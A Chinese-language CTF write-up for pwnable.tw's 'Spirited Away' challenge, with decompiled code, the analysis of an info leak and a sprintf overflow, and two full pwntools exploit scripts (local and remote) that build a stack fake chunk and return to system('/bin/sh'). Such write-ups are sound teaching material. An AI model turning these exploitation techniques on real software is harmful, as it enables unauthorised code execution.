0%

pwnable.tw writeup-Spirited Away

代码审计

int survey()
{
char v1[56]; // [esp+10h] [ebp-E8h] BYREF
size_t nbytes; // [esp+48h] [ebp-B0h]
size_t v3; // [esp+4Ch] [ebp-ACh]
char s[80]; // [esp+50h] [ebp-A8h] BYREF
int v5; // [esp+A0h] [ebp-58h] BYREF
void *buf; // [esp+A4h] [ebp-54h]
char v7[80]; // [esp+A8h] [ebp-50h] BYREF

nbytes = 60;
v3 = 80;
LABEL_2:
memset(s, 0, sizeof(s));
buf = malloc(0x3Cu);
printf("\nPlease enter your name: ");
fflush(stdout);
read(0, buf, nbytes); // buf是name
printf("Please enter your age: ");
fflush(stdout);
__isoc99_scanf("%d", &v5); // v5是age
printf("Why did you came to see this movie? ");
fflush(stdout);
read(0, v7, v3);
fflush(stdout);
printf("Please enter your comment: ");
fflush(stdout);
read(0, s, nbytes);
++cnt;
printf("Name: %s\n", (const char *)buf);
printf("Age: %d\n", v5);
printf("Reason: %s\n", v7);
printf("Comment: %s\n\n", s);
fflush(stdout);
sprintf(v1, "%d comment so far. We will review them as soon as we can", cnt);
puts(v1);
puts(&::s);
fflush(stdout);
if ( cnt > 199 )
{
puts("200 comments is enough!");
fflush(stdout);
exit(0);
}
while ( 1 )
{
printf("Would you like to leave another comment? <y/n>: ");
fflush(stdout);
read(0, &choice, 3u);
if ( choice == 89 || choice == 121 )
{
free(buf);
goto LABEL_2;
}
if ( choice == 78 || choice == 110 )
break;
puts("Wrong choice.");
fflush(stdout);
}
puts("Bye!");
return fflush(stdout);
}

数据泄漏

printf("Name: %s\n", (const char *)buf);

buf填满后,printf会打印出buf及其后面的数据。

栈溢出

sprintf(v1, "%d comment so far. We will review them as soon as we can", cnt);
//sprintf先将cnt的值接到'%d'的位置上,然后将整个句子写到v1中

v1nbytes的偏移是0xE8-0xB0 = 0x38,而comment so far. We will review them as soon as we can在内存中,占据0x36个字节。如果cnt=100,便可使字符n溢出到nbytes的地址上。nascii码是0x6e,所以nbytes就等于0x6e了。

1

1ascii码是0x310ascii码是0x30。对于100,字符1,0,0分别占据一个字节的内存,一共占据三个字节的内存。

总结

  1. 泄漏数据得到libc基地址。
  2. 循环使cnt等于100nbytes = 0x6e,但是0x6e不足以覆盖返回地址。
  3. 在输入name时,先在栈上构造一个fake_chunk。然后通过溢出,覆盖栈上的name_chunk_hookfake_chunk_hook
  4. 再次输入name时,覆盖返回地址为system函数地址。

exp

本地

from tools import *
p = process('./spirited_away')
# p = remote("chall.pwnable.tw",10204)
# debug(p)
# libc = ELF('./libc_32.so.6')
libc = ELF('/home/wen/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6')

p.sendlineafter("Please enter your name: ",b'A'*8)
p.sendlineafter("Please enter your age: ",str(666))
p.sendafter("Why did you came to see this movie? ",b'a'*0x50)
p.sendlineafter("Please enter your comment: ",b'b'*8)
p.recvuntil(b'a'*0x50)
stack = u32(p.recv(4))-0x1c
log_addr("stack")
base = u32(p.recv(4))-0x2908
libc_base = u32(p.recv(4))-0x1b3d60
log_addr("libc_base")
system = libc_base+libc.sym['system']
binsh = libc_base+next(libc.search(b'/bin/sh'))
p.sendline(b'y')
for i in range(9):
p.sendlineafter("Please enter your name: ",b'A'*8)
p.sendlineafter("Please enter your age: ",str(666))
p.sendafter("Why did you came to see this movie? ",b'a')
p.sendlineafter("Please enter your comment: ",b'b'*8)
p.sendlineafter("<y/n>: ",b'y')
for i in range(90):
p.sendlineafter("Please enter your age: ",str(666))
p.sendafter("Why did you came to see this movie? ",b'a')
p.sendlineafter("<y/n>: ",b'y')

debug(p,0x0804873E,0x080488C9)

p.sendlineafter("Please enter your name: ",b'A'*8)
p.sendlineafter("Please enter your age: ",str(666))
payload = p32(0)+p32(0x41) + b'a'*0x38 + p32(0) + p32(0x11)
p.sendafter("Why did you came to see this movie? ",payload)
payload = b'A'*0x54+p32(stack-0x4c)
p.sendlineafter("Please enter your comment: ",payload)
p.sendlineafter("<y/n>: ",b'y')
payload = b'B'*0x4c+p32(system)+p32(0)+p32(binsh)
p.sendlineafter("Please enter your name: ",payload)
p.sendlineafter("Please enter your age: ",str(666))
p.sendafter("Why did you came to see this movie? ",b'a'*0x5)
p.sendlineafter("Please enter your comment: ",b'aaa')
p.sendlineafter("<y/n>: ",b'n')

p.interactive()

远程

from tools import *
# p = process('./spirited_away')
p = remote("chall.pwnable.tw",10204)
# debug(p)
libc = ELF('./libc_32.so.6')
# libc = ELF('/home/wen/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc.so.6')

p.sendlineafter("Please enter your name: ",b'A'*8)
p.sendlineafter("Please enter your age: ",str(666))
p.sendafter("Why did you came to see this movie? ",b'a'*0x38)
p.sendlineafter("Please enter your comment: ",b'b'*8)
p.recvuntil(b'a'*0x38)
stack = u32(p.recv(4))-0x70
log_addr("stack")
base = u32(p.recv(4))-0x2908
libc_base = u32(p.recv(4))- 0xb - libc.sym['fflush']#-0x1b3d60
log_addr("libc_base")
system = libc_base+libc.sym['system']
binsh = libc_base+next(libc.search(b'/bin/sh'))
p.sendline(b'y')
for i in range(9):
p.sendlineafter("Please enter your name: ",b'A'*8)
p.sendlineafter("Please enter your age: ",str(666))
p.sendafter("Why did you came to see this movie? ",b'a')
p.sendlineafter("Please enter your comment: ",b'b'*8)
p.sendlineafter("<y/n>: ",b'y')
for i in range(90):
p.sendlineafter("Please enter your age: ",str(666))
p.sendafter("Why did you came to see this movie? ",b'a')
p.sendlineafter("<y/n>: ",b'y')

debug(p,0x0804873E,0x080488C9)

p.sendlineafter("Please enter your name: ",b'A'*8)
p.sendlineafter("Please enter your age: ",str(666))
payload = p32(0)+p32(0x41) + b'a'*0x38 + p32(0) + p32(0x11)
p.sendafter("Why did you came to see this movie? ",payload)
payload = b'A'*0x54+p32(stack+0x8)
p.sendlineafter("Please enter your comment: ",payload)
p.sendlineafter("<y/n>: ",b'y')
payload = b'B'*0x4c+p32(system)+p32(0)+p32(binsh)
p.sendlineafter("Please enter your name: ",payload)
p.sendlineafter("Please enter your age: ",str(666))
p.sendafter("Why did you came to see this movie? ",b'a'*0x5)
p.sendlineafter("Please enter your comment: ",b'aaa')
p.sendlineafter("<y/n>: ",b'n')

p.interactive()